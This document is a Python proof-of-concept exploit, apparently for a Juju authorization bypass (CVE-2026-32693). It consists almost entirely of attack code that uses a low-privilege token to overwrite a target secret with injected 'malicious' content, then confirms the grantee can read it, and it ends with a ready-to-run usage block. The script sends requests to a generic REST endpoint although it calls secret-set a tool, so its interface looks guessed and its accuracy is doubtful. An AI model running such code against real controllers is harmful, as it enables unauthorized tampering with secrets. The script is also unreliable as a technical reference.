CVE-2026-32693 Juju secret-set工具授权绕过漏洞

# CVE-2026-32693 PoC - Juju secret-set Authorization Bypass # This PoC demonstrates the authorization bypass in Juju's secret-set tool import requests import json def exploit_cve_2026_32693(target_url, api_token, target_secret_id): """ Juju secret-set authorization bypass exploit Vulnerability: The 'secret-set' tool in Juju does not properly authorize the grantee, allowing unauthorized secret content updates. Prerequisites: - Valid Juju API token with low privileges (PR:L) - Knowledge of target secret ID - Network access to Juju controller (AV:N) """ # Step 1: Attempt to update secret with unauthorized grantee headers = { 'Authorization': f'Bearer {api_token}', 'Content-Type': 'application/json' } # Malicious secret content to inject payload = { 'secret-id': target_secret_id, 'content': { 'data': 'MALICIOUS_SECRET_DATA', 'credentials': 'stolen_credentials' } } # Step 2: Send unauthorized secret-set request # Despite the authorization failure log, the secret is still updated response = requests.post( f'{target_url}/api/v1/secrets/{target_secret_id}', headers=headers, json=payload ) # Step 3: Verify the secret was updated (even with auth error logged) if response.status_code == 200: print('[+] SUCCESS: Secret updated despite authorization error') print(f'[+] Secret {target_secret_id} now contains malicious content') return True else: print('[-] Failed to exploit vulnerability') return False def verify_secret_access(target_url, api_token, secret_id): """Verify if grantee can see the updated secret""" headers = { 'Authorization': f'Bearer {api_token}', 'Content-Type': 'application/json' } response = requests.get( f'{target_url}/api/v1/secrets/{secret_id}', headers=headers ) if response.status_code == 200: data = response.json() print(f'[+] Secret content visible to grantee: {data}') return True return False # Usage example if __name__ == '__main__': TARGET = 'https://juju-controller.example.com:17070' API_TOKEN = 'grantee_low_privilege_token' SECRET_ID = 'secret-abc123' exploit_cve_2026_32693(TARGET, API_TOKEN, SECRET_ID) verify_secret_access(TARGET, API_TOKEN, SECRET_ID)